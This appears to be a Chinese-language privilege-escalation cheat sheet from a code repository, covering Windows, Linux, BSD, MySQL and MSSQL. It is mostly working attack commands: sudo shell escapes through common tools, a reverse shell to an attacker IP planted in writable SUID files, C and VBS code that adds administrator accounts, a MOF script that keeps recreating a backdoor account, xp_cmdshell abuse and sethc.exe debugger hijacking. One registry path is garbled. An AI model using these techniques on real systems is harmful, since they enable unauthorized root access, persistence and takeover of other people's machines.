Skip to content

Latest commit

 

History

History
448 lines (339 loc) · 13.6 KB

权限提升.md

File metadata and controls

448 lines (339 loc) · 13.6 KB

权限提升


免责声明

本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.


大纲


多平台提权辅助工具


Win

文章教程

提权辅助工具

Windows系统漏洞


Windows系统配置

添加开机启动项

useradd.c

#include <stdlib.h>
int main ()
{
    int i;
    i=system ("net localgroup adminstrators lowpriv /add");
    return 0;
}
i586-mingw32msvc-gcc useradd.c -o useradd.exe

将 useradd.exe 传到目标机上,用 useradd.exe 去替换 everyone 完成控制且以系统权限开机自启的 exe,即可将用户 lowpriv 提升为管理员权限

查看一个程序的各个用户权限: icacls xxx.exe


Linux

文章教程

相关资源

提权辅助工具


以下工具长期未更新,不推荐

信息收集

linux 提权需要掌握系统的许多信息,命令参见笔记 信息 内容

Linux系统漏洞


Linux系统配置

若 /etc/passwd 文件可修改

梦想总得有,万一真的可以成功呢

openssl passwd -1   # 输入你想改成的密码,用得到的 hash 去替换 root 行的 x
python -c 'import pty; pty.spawn("/bin/bash")'

然后 su root,输入上一步改的密码

sudo

sudo -l # 查看当前用户执行哪些 sudo 命令无需密码

下面只记录部分,更多内容访问 GTFOBins

  • zip

    sudo zip /tmp/tmp.zip /tmp/ -T --unzip-command="sh -c /bin/bash"
    
    -T 表示测试 test.zip 的完整性
    –unzip-command 与 -T 一起使用,可以指定自定义命令用于解压 test.zip
  • tar

    sudo tar cf /dev/null test --checkpoint=1 --checkpoint-action=exec=/bin/bash
    
    –checkpoint-action 选项是提权点,可以自定义需要执行的动作
  • strace

    sudo strace -o /dev/null /bin/bash
  • nmap

    低版本的 nmap3.x 有 interactive 模式,且设置了 suid,这个时候可以进入交互模式 执行 !sh 命令即可轻松完成提权。

    echo "os.execute('/bin/bash')" > /tmp/shell.nse
    sudo nmap --script=/tmp/shell.nse
  • more

    sudo more /etc/hosts
    !/bin/bash
  • git

    sudo git help status
    !/bin/bash
  • ftp

    sudo ftp
    ftp> !/bin/bash
  • vim

    sudo vim -c '!bash'
  • perl:

    sudo perl -e 'exec "/bin/bash";'
  • python:

    sudo python -c 'import pty;pty.spawn("/bin/bash")'
  • less

    sudo less /etc/hosts
    v
    :shell
  • awk

    sudo awk 'BEGIN {system("/bin/bash")}'
  • man

    sudo man man
    !/bin/bash
  • vi

    sudo vi
    
    :!bash
    或
    :!/bin/sh
    或
    :set shell=/bin/sh
    :shell
  • find

    find . -exec /bin/sh \;

suid

找带 suid 的文件

并不是说程序存在 suid 位就可以提权,还需要看程序的所有者

find / -perm -u=s 2>/dev/null

筛选出其中所有人有 rwx 权限的文件,添加如下一句话:

bash -i >& /dev/tcp/<kali-ip>/port 0>&1

FreeBSD

CVE-2013-2171


OpenBSD

CVE-2019-19726 OpenBSD 提权

  • 简介

    OpenBSD 是加拿大 OpenBSD 项目组的一套跨平台的、基于 BSD 的类 UNIX 操作系统。

    OpenBSD 6.6 及之前版本中存在安全漏洞。本地攻击者可利用该漏洞将权限提升至 root,进而以该权限执行自己的库代码。

  • 影响版本

    • Openbsd:Openbsd:-:::*
    • Openbsd:Openbsd:2.0:::*
    • Openbsd:Openbsd:2.1:::*
    • Openbsd:Openbsd:2.2:::*
    • Openbsd:Openbsd:2.3:::*
  • POC | Payload | exp


Solaris

CVE-2020-14724


Mysql

文章

UDF 提权

MOF 提权

MOF提权的条件要求十分严苛:

  1. windows 03 及以下版本
  2. mysql 启动身份具有权限去读写 c:/windows/system32/wbem/mof 目录
  3. secure-file-priv 参数不为 null
#pragma namespace("\\.\root\subscription")

instance of __EventFilter as
{
EventNamespace = "Root\Cimv2";
Name  = "filtP2";
Query = "Select * From __InstanceModificationEvent "
    "Where TargetInstance Isa \"Win32_LocalTime\" "
    "And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};

instance of ActiveScriptEventConsumer as
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\") WSH.run(\"net.exe user sqladmin admin /add&&net.exe localgroup administrators sqladmin /add\")";
};

instance of __FilterToConsumerBinding
{
Consumer   = ;
Filter = ;
};
  1. 保存为 1.mof,然后 mysql 执行:select load_file('D:/wwwroot/1.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';
  2. mof 被执行的话,会帮我们添加一个叫 sqladmin 的用户.

关于 Mof 提权的弊端

我们提权成功后,就算被删号,mof 也会在五秒内将原账号重建,那么这给我们退出测试造成了很大的困扰,所以谨慎使用.那么我们如何删掉我们的入侵账号呢?

net stop winmgmt
del c:/windows/system32/wbem/repository
net start winmgmt
  • MSF 模块
    use exploit/windows/mysql/mysql_mof
    set RHOSTS [ip]
    set USERNAME [user]
    set PASSWORD [pass]
    set payload windows/meterpreter/bind_tcp
    set RHOST [ip]
    set LPORT 4444
    exploit

启动项提权

在前两种方法都失败时,那可以试一下启动项提权..因为要求达到的条件和 mof 几乎一样,并且要重启服务,所以不是十分推荐.原理还是使用 mysql 写文件,写入一段 VBS 代码到开机自启动中,服务器重启达到创建用户并提权,可以使用 DDOS 迫使服务器重启.

提权条件

  1. file_priv 不为 null
  2. 已知 root 密码
create table a (cmd text);
insert into a values ("set wshshell=createobject (""wscript.shell"") " );
insert into a values ("a=wshshell.run (""cmd.exe /c net user sqladmin 123456 /add"",0) " );
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators sqladmin /add"",0) " );
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";

MSSQL

SA 提权

  1. 判断扩展存储是否存在:

    select count(*) from master.dbo.sysobjects where xtype = 'x' AND name= 'xp_cmdshell'
    select count(*) from master.dbo.sysobjects where name='xp_regread'
    恢复:
    exec sp_dropextendedproc 'xp_cmdshell'
    exec sp_dropextendedproc xp_cmdshell,'xplog70.dll'
    EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;(SQL2005)
    
  2. 列目录:

    exec master..xp_cmdshell 'ver'
    (or) exec master..xp_dirtree 'c:\',1,1
    (or) drop table black
    create TABLE black(mulu varchar(7996) NULL,ID int NOT NULL IDENTITY(1,1))--
    insert into black exec master..xp_cmdshell 'dir c:\'
    select top 1 mulu from black where id=1
    xp_cmdshell 被删除时,可以用(5.a)开启沙盒模式,然后(5.b)方法提权
    
  3. 备份启动项:

    alter database [master] set RECOVERY FULL
    create table cmd (a image)
    backup log [master] to disk = 'c:\cmd1' with init
    insert into cmd (a) values (0x(batcode))
    backup log [master] to disk = 'C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\start.bat'
    drop table cmd
    
  4. 映像劫持

    xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','reg_sz','c:\windows\system32\cmd.exe'

  5. 沙盒模式提权:

    a : exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet�.0\Engines','SandBoxMode','REG_DWORD',0; # 关闭沙盒模式

    b : Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user mstlab mstlab /add")'); #or c:\windows\system32\ias\dnary.mdb string 类型用此. 开启 OpenRowSet:exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;

  6. xp_regwrite 操作注册表

    exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\currentversion un','black','REG_SZ','net user test test /add'

    开启 xp_oacreate : exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;